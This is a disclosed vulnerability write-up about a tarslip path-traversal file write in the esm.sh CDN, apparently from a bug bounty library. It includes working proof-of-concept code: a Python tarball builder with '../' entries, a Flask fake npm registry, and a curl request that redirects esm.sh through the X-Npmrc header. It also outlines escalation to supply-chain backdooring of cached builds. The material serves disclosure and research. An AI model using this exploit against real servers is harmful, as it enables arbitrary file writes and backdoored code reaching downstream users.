# esm.sh CDN service has arbitrary file write via tarslip

esm.sh extracted npm tarballs without validating entry paths, letting a malicious registry via X-Npmrc write files anywhere on the server.

- Payout: Research
- Severity: high
- Program: esm.sh
- Found by: pyozzi-toss
- Disclosed: 2025-11-19
- CVE: CVE-2025-65025
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h3mw-4f23-gwpw
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-h3mw-4f23-gwpw
- Tags: area:web3 domain:infra impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:path-traversal

**Target:** npm tarball extraction in server/npmrc.go (extractPackageTarball)
**Root cause:** extractPackageTarball strips the tarball root dir then does path.Join(pkgDir, name) with no check that the result stays inside pkgDir, so ../ sequences escape the extraction directory.
**Steps:**
1. Build a tarball containing an entry like `package/../../../../../../../../../tmp/pyozzi.js` with .js content (extension filter only allows certain extensions).
2. Serve it from a fake npm registry: metadata endpoint returns dist.tarball pointing at the malicious tgz.
3. Request `http://localhost:8080/test-tarslip@1.0.0` with header `X-Npmrc: {"registry":"http://host.docker.internal:9999/"}`.
4. esm.sh downloads and extracts; verify with `docker exec esm-test cat /tmp/pyozzi.js`.
**How found:** Code review of extractPackageTarball: noticed SplitByFirstByte strips the root dir and path.Join normalizes `../` without any containment check; realized official registries block such paths but the X-Npmrc header allows an arbitrary attacker registry.
**Exploitation:** Attacker points X-Npmrc at their own registry, serves a tarball with traversal paths, and esm.sh writes attacker-controlled .js/.json files to arbitrary server paths — e.g. overwriting cached build files under /esm/storage/modules/ so downstream importers receive backdoored code.
**Escalation:** Overwrite cached build artifacts of popular packages (React, Vue) discovered via esm.sh REST API enumeration, turning a file write into supply-chain code execution on browsers, Electron and Deno clients.
**Insight:** When a service lets users supply a registry/mirror URL, tarball extraction becomes attacker-controlled input — check whether path.Join/clean is used without a prefix-containment check after stripping the archive root.

## Proof of concept (copied exactly from the original report)

**Malicious tarball with traversal path**

```
def create_malicious_tarball(package_name="test-tarslip"):
    
    # PoC file Content
    poc_payload = b"""// Path Traversal PoC
    // This file was created via tarslip attack
    // Location: /tmp/pyozzi.js

    console.log('[!!!] Path Traversal Successful!');
    console.log('Package: %s');
    console.log('Researcher: pyozzi');

    module.exports = {
        poc: true,
        vulnerability: 'CWE-22 Path Traversal',
        package: '%s'
    };
    """ % (package_name.encode(), package_name.encode())
    
    files = {
        "package/index.js": b"module.exports = { version: '1.0.0', test: true };",
        "package/package.json": json.dumps({
            "name": package_name,
            "version": "1.0.0",
            "description": "Test package for security research",
            "main": "index.js",
            "keywords": ["test", "security", "research"],
            "author": "Security Researcher",
            "license": "MIT"
        }, indent=2).encode(),
        
        "package/../../../../../../../../../tmp/pyozzi.js": poc_payload,
    }
    
    # Create Tarball
    
    tarball_name = f"{package_name}-1.0.0.tgz"
    
    print("Creating tarball with payloads:")
    print()
    
    with tarfile.open(tarball_name, "w:gz") as tar:
        for name, content in files.items():
            info = tarfile.TarInfo(name=name)
            info.size = len(content)
            info.mode = 0o755
            info.mtime = int(datetime.now().timestamp())
            tar.addfile(info, io.BytesIO(content))
```

**Fake registry serving malicious tarball**

```
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)
```

**curl request with X-Npmrc header**

```
curl "http://localhost:8080/test-tarslip@1.0.0" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
```

